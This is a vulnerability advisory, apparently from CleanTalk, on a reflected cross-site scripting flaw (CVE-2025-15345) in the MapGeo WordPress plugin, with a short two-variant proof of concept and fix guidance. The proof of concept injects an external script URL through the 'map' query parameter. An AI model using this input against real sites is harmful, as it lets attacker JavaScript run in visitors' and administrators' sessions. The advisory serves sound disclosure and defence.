CVE-2025-15345 affects MapGeo – Interactive Geo Maps and is an unauthenticated reflected Cross-Site Scripting vulnerability in versions up to and including 1.6.27. When a public page uses the display-map shortcode in demo mode, an attacker can supply an external JavaScript URL through the map parameter and make the victim browser load it under the vulnerable site context.
| CVE | CVE-2025-15345 |
| Plugin Version | MapGeo – Interactive Geo Maps <= 1.6.27, fixed in 1.6.28 |
| All Time | 737 759 |
| Active installations | 40 000+ |
| Publicly Published | May 13, 2026 |
| Last Updated | May 14, 2026 |
| Researcher | Dmitrii Ignatyev |
| PoC | Yes |
| Exploit | No |
| Reference | https://www.cve.org/CVERecord?id=CVE-2025-15345 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/interactive-geo-maps/mapgeo-interactive-geo-maps-1627-reflected-cross-site-scripting-via-map-parameter |
| Plugin Security Certification by CleanTalk | ![]() |
| Logo of the plugin | ![]() |
PSC by CleantalkJoin the community of developers who prioritize security. Highlight your plugin in the WordPress catalog.
Timeline
| May 13, 2026 | Plugin testing and vulnerability detection in MapGeo – Interactive Geo Maps were completed. |
| May 13, 2026 | The vulnerability was reported with PoC, description, and recommendations for remediation. |
| May 13, 2026 | CVE-2025-15345 was publicly published by Wordfence. |
Discovery of the Vulnerability
The front-end rendering path for the display-map shortcode includes a demo mode that accepts the map query parameter as a map source. On a page rendered with demo=”1″, the plugin reads the value from $_GET[‘map’] and passes it through sanitize_text_field(). That function removes some unwanted text patterns but does not enforce a safe URL policy or restrict the value to a local map identifier.
The sanitized value reaches the script-loading path, where absolute HTTP and HTTPS URLs are accepted without a trusted-host allowlist. WordPress then registers and enqueues the supplied address as a script source. A crafted link can therefore make a visitor browser request attacker-controlled JavaScript while viewing the vulnerable site.
Understanding of Reflected Cross-Site Scripting attacks
Reflected Cross-Site Scripting occurs when request data is immediately used in a browser-executable context without strict validation and output handling. In this case, the value is not stored in WordPress. It is supplied in the URL and becomes the source of a script dependency when the vulnerable shortcode is rendered in demo mode.
An unauthenticated attacker still needs a victim to open the crafted link. JavaScript loaded by that page runs with access to the page origin and can read visible data, alter content, or issue same-origin requests available to the victim session. The impact is most serious when a logged-in administrator visits the URL.
Exploiting the Reflected Cross-Site Scripting Vulnerability
A Contributor can create the vulnerable shortcode placement, while an unauthenticated attacker can use any public page where a site owner has already enabled the same demo mode. The following non-destructive steps reproduce the affected routing behavior.
POC:
POC: Variant 1 - Contributor+ 1. Create a post with the shortcode [display-map id="123" demo="1"] using any existing map ID. 2. Open the published post with this query parameter: ?map=https://any.site/123.js Variant 2 - Unauthenticated 1. Locate a public post or page that already renders the display-map shortcode with demo mode enabled. 2. Open that page with this query parameter: ?map=https://any.site/123.js____
On a vulnerable page, the plugin treats the query value as the map script source and enqueues the external URL. The browser then requests that JavaScript file as part of the vulnerable page, demonstrating the reflected script-loading condition without changing site data.
Recommendations for Improved Security
Site owners should update MapGeo – Interactive Geo Maps to version 1.6.28 or later. Until the update is applied, public shortcode placements should not use demo mode. A restrictive Content Security Policy can reduce exposure to unexpected external script hosts but should be treated as defense in depth.
Developers should accept only known local map identifiers from the map parameter and reject absolute URLs in this code path. If remote sources are required for a separate feature, they should use an explicit scheme and host allowlist with strict canonicalization. sanitize_text_field() is not a substitute for validating a script source.
By addressing Reflected Cross-Site Scripting issues like CVE-2025-15345, WordPress site owners can prevent crafted links from turning public demo pages into a path for untrusted script execution. Stay vigilant, stay secure.
#WordPressSecurity #ReflectedXSS #PluginSecurity #WebsiteSafety #StayProtected #MediumVulnerability
Use CleanTalk solutions to improve the security of your website

